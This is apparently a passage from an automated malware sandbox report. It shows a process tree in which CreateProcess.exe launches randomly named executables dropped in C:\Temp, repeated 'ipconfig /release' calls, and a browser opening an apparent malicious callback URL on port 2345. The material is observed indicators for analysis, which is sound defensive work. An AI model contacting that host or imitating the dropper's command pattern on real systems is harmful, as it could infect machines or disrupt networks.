      C:\Temp\i_ysqoigdvqo.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4660
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\kifdxvqnif.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:2988
  - - C:\Temp\kifdxvqnif.exe
      C:\Temp\kifdxvqnif.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4248
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:3648
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:548
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_kifdxvqnif.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:4168
  - - C:\Temp\i_kifdxvqnif.exe
      C:\Temp\i_kifdxvqnif.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2600
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\axspkicxvp.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:5636
  - - C:\Temp\axspkicxvp.exe
      C:\Temp\axspkicxvp.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3080
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:3948
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4212
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_axspkicxvp.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:2176
  - - C:\Temp\i_axspkicxvp.exe
      C:\Temp\i_axspkicxvp.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5568
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\usmkecwupm.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:1120
  - - C:\Temp\usmkecwupm.exe
      C:\Temp\usmkecwupm.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2872
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:3276
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2516
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_usmkecwupm.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:3668
  - - C:\Temp\i_usmkecwupm.exe
      C:\Temp\i_usmkecwupm.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:1132
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\smkeczxrpj.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:916
  - - C:\Temp\smkeczxrpj.exe
      C:\Temp\smkeczxrpj.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4804
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:5732
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:548
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_smkeczxrpj.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:1848
  - - C:\Temp\i_smkeczxrpj.exe
      C:\Temp\i_smkeczxrpj.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5560
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\rmjebwuomg.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:5960
  - - C:\Temp\rmjebwuomg.exe
      C:\Temp\rmjebwuomg.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3228
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:2508
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:240
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_rmjebwuomg.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:5552
  - - C:\Temp\i_rmjebwuomg.exe
      C:\Temp\i_rmjebwuomg.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:6008
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\omgeywrojh.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:2736
  - - C:\Temp\omgeywrojh.exe
      C:\Temp\omgeywrojh.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:5004
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:2280
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:3128
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_omgeywrojh.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:5904
  - - C:\Temp\i_omgeywrojh.exe
      C:\Temp\i_omgeywrojh.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3504
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\ywqoigeywq.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:4960
  - - C:\Temp\ywqoigeywq.exe
      C:\Temp\ywqoigeywq.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:3256
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:5956
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:548
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_ywqoigeywq.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:3372
  - - C:\Temp\i_ywqoigeywq.exe
      C:\Temp\i_ywqoigeywq.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5168
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\dbvtolgdyw.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:5844
  - - C:\Temp\dbvtolgdyw.exe
      C:\Temp\dbvtolgdyw.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:4352
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:5916
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5724
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_dbvtolgdyw.exe ups_ins
    3⤵
    PID:3456
  - - C:\Temp\i_dbvtolgdyw.exe
      C:\Temp\i_dbvtolgdyw.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2848
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\vtnlidaysn.exe ups_run
    3⤵
    PID:4452
  - - C:\Temp\vtnlidaysn.exe
      C:\Temp\vtnlidaysn.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:4424
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:1132
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4604
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_vtnlidaysn.exe ups_ins
    3⤵
    PID:2932
  - - C:\Temp\i_vtnlidaysn.exe
      C:\Temp\i_vtnlidaysn.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2804
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\snlfdxvpnh.exe ups_run
    3⤵
    PID:3800
  - - C:\Temp\snlfdxvpnh.exe
      C:\Temp\snlfdxvpnh.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:4976
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:4532
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2460
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_snlfdxvpnh.exe ups_ins
    3⤵
    PID:5424
  - - C:\Temp\i_snlfdxvpnh.exe
      C:\Temp\i_snlfdxvpnh.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:1200
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\mkhfzxvpnk.exe ups_run
    3⤵
    PID:5924
  - - C:\Temp\mkhfzxvpnk.exe
      C:\Temp\mkhfzxvpnk.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:4516
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:5380
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:3768
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_mkhfzxvpnk.exe ups_ins
    3⤵
    PID:5312
  - - C:\Temp\i_mkhfzxvpnk.exe
      C:\Temp\i_mkhfzxvpnk.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:6116
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\xrpkhczusm.exe ups_run
    3⤵
    PID:852
  - - C:\Temp\xrpkhczusm.exe
      C:\Temp\xrpkhczusm.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:4280
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:2352
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5644
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_xrpkhczusm.exe ups_ins
    3⤵
    PID:1312
  - - C:\Temp\i_xrpkhczusm.exe
      C:\Temp\i_xrpkhczusm.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2376
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\czuomhezxr.exe ups_run
    3⤵
    PID:4364
  - - C:\Temp\czuomhezxr.exe
      C:\Temp\czuomhezxr.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:1288
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:4524
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4372
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_czuomhezxr.exe ups_ins
    3⤵
    PID:2804
  - - C:\Temp\i_czuomhezxr.exe
      C:\Temp\i_czuomhezxr.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:1968
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\ywromgezwr.exe ups_run
    3⤵
    PID:2600
  - - C:\Temp\ywromgezwr.exe
      C:\Temp\ywromgezwr.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:1144
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:1228
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:3360
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_ywromgezwr.exe ups_ins
    3⤵
    PID:4664
  - - C:\Temp\i_ywromgezwr.exe
      C:\Temp\i_ywromgezwr.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:1812
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\wqojgbytrl.exe ups_run
    3⤵
    PID:3716
  - - C:\Temp\wqojgbytrl.exe
      C:\Temp\wqojgbytrl.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:4488
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:4512
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4584
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_wqojgbytrl.exe ups_ins
    3⤵
    PID:5656
  - - C:\Temp\i_wqojgbytrl.exe
      C:\Temp\i_wqojgbytrl.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4632
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\qoljdbvtnl.exe ups_run
    3⤵
    PID:5104
  - - C:\Temp\qoljdbvtnl.exe
      C:\Temp\qoljdbvtnl.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:2036
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:3264
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5812
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_qoljdbvtnl.exe ups_ins
    3⤵
    PID:2908
  - - C:\Temp\i_qoljdbvtnl.exe
      C:\Temp\i_qoljdbvtnl.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4252
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\tqlidavtnl.exe ups_run
    3⤵
    PID:5940
  - - C:\Temp\tqlidavtnl.exe
      C:\Temp\tqlidavtnl.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:1028
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:2028
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:3844
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of WriteProcessMemory
  PID:432
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" -- "http://xytets.com:2345/t.asp?os=home"
    3⤵
    - Drops file in Windows directory
    - Enumerates system info in registry
    - Modifies data under HKEY_USERS
    - Modifies registry class
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:6000
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2cc,0x2f4,0x2f8,0x2c8,0x33c,0x7ff83d36c188,0x7ff83d36c194,0x7ff83d36c1a0
      4⤵
      PID:1420
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=2112,i,4490420071395872625,10096798417919374543,262144 --field-trial-handle=3044,i,16861016932381103048,11903758570087434021,262144 --variations-seed-version --mojo-platform-channel-handle=3040 /prefetch:2
      4⤵
      PID:3476
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2236,i,7303372633092495528,10849911294446856578,524288 --field-trial-handle=3044,i,16861016932381103048,11903758570087434021,262144 --variations-seed-version --mojo-platform-channel-handle=3140 /prefetch:11
      4⤵
      System Time Discovery
      PID:4672
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2472,i,12794176586038212364,1369260359492726821,524288 --field-trial-handle=3044,i,16861016932381103048,11903758570087434021,262144 --variations-seed-version --mojo-platform-channel-handle=3588 /prefetch:13
      4⤵
      PID:2120
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3352,i,15771215851941196284,363253685934942938,2097152 --field-trial-handle=3044,i,16861016932381103048,11903758570087434021,262144 --variations-seed-version --mojo-platform-channel-handle=3692 /prefetch:1
      4⤵
      PID:4928
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3372,i,11313392733408770678,7395672054623046563,2097152 --field-trial-handle=3044,i,16861016932381103048,11903758570087434021,262144 --variations-seed-version --mojo-platform-channel-handle=3160 /prefetch:1
      4⤵
      PID:1964
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4252,i,8363605224598678239,14549467391896846445,2097152 --field-trial-handle=3044,i,16861016932381103048,11903758570087434021,262144 --variations-seed-version --mojo-platform-channel-handle=4740 /prefetch:1
      4⤵
      PID:5768
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4284,i,16086958432927254671,4551833573331721315,2097152 --field-trial-handle=3044,i,16861016932381103048,11903758570087434021,262144 --variations-seed-version --mojo-platform-channel-handle=4756 /prefetch:9
      4⤵
      PID:3348
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5328,i,13243669383811231665,16875936876772853662,524288 --field-trial-handle=3044,i,16861016932381103048,11903758570087434021,262144 --variations-seed-version --mojo-platform-channel-handle=5276 /prefetch:14
      4⤵
      PID:5844
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5456,i,16054579379396890542,3960548727263594366,524288 --field-trial-handle=3044,i,16861016932381103048,11903758570087434021,262144 --variations-seed-version --mojo-platform-channel-handle=5484 /prefetch:14
      4⤵
      PID:4952
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5464,i,8804469291301163168,8291865204252767154,524288 --field-trial-handle=3044,i,16861016932381103048,11903758570087434021,262144 --variations-seed-version --mojo-platform-channel-handle=5504 /prefetch:14
      4⤵
      PID:1884
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6060,i,17034998518034426230,9484762175598888159,524288 --field-trial-handle=3044,i,16861016932381103048,11903758570087434021,262144 --variations-seed-version --mojo-platform-channel-handle=6100 /prefetch:14
      4⤵
      PID:240
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6060,i,17034998518034426230,9484762175598888159,524288 --field-trial-handle=3044,i,16861016932381103048,11903758570087434021,262144 --variations-seed-version --mojo-platform-channel-handle=6100 /prefetch:14
      4⤵
      PID:3948
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6472,i,17274670447467297866,2940393160972053224,524288 --field-trial-handle=3044,i,16861016932381103048,11903758570087434021,262144 --variations-seed-version --mojo-platform-channel-handle=6476 /prefetch:14
      4⤵
      PID:1808
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6556,i,16351771479560360363,13895713725405690359,524288 --field-trial-handle=3044,i,16861016932381103048,11903758570087434021,262144 --variations-seed-version --mojo-platform-channel-handle=6532 /prefetch:14
      4⤵
      PID:3940
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4788,i,3770530438739084712,10903607313359324640,524288 --field-trial-handle=3044,i,16861016932381103048,11903758570087434021,262144 --variations-seed-version --mojo-platform-channel-handle=4996 /prefetch:14
      4⤵
      PID:5424
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4804,i,2796861620819029445,8594513957273117614,524288 --field-trial-handle=3044,i,16861016932381103048,11903758570087434021,262144 --variations-seed-version --mojo-platform-channel-handle=752 /prefetch:14
      4⤵
      PID:3084
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4992,i,6066731797186669506,15358607958980211492,524288 --field-trial-handle=3044,i,16861016932381103048,11903758570087434021,262144 --variations-seed-version --mojo-platform-channel-handle=6528 /prefetch:14
      4⤵
      PID:4572
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5776,i,9675338774556042715,9648382028491740614,524288 --field-trial-handle=3044,i,16861016932381103048,11903758570087434021,262144 --variations-seed-version --mojo-platform-channel-handle=5700 /prefetch:14
      4⤵
      PID:3488
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5544,i,969914959293407213,13367514492471682380,524288 --field-trial-handle=3044,i,16861016932381103048,11903758570087434021,262144 --variations-seed-version --mojo-platform-channel-handle=1576 /prefetch:14
      4⤵
      PID:4532
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6740,i,11869825825702189166,3692715094910437163,524288 --field-trial-handle=3044,i,16861016932381103048,11903758570087434021,262144 --variations-seed-version --mojo-platform-channel-handle=1504 /prefetch:14
      4⤵
      PID:2760
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6844,i,18364054806823995355,17620485905088329047,524288 --field-trial-handle=3044,i,16861016932381103048,11903758570087434021,262144 --variations-seed-version --mojo-platform-channel-handle=6316 /prefetch:14
      4⤵
      PID:952
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
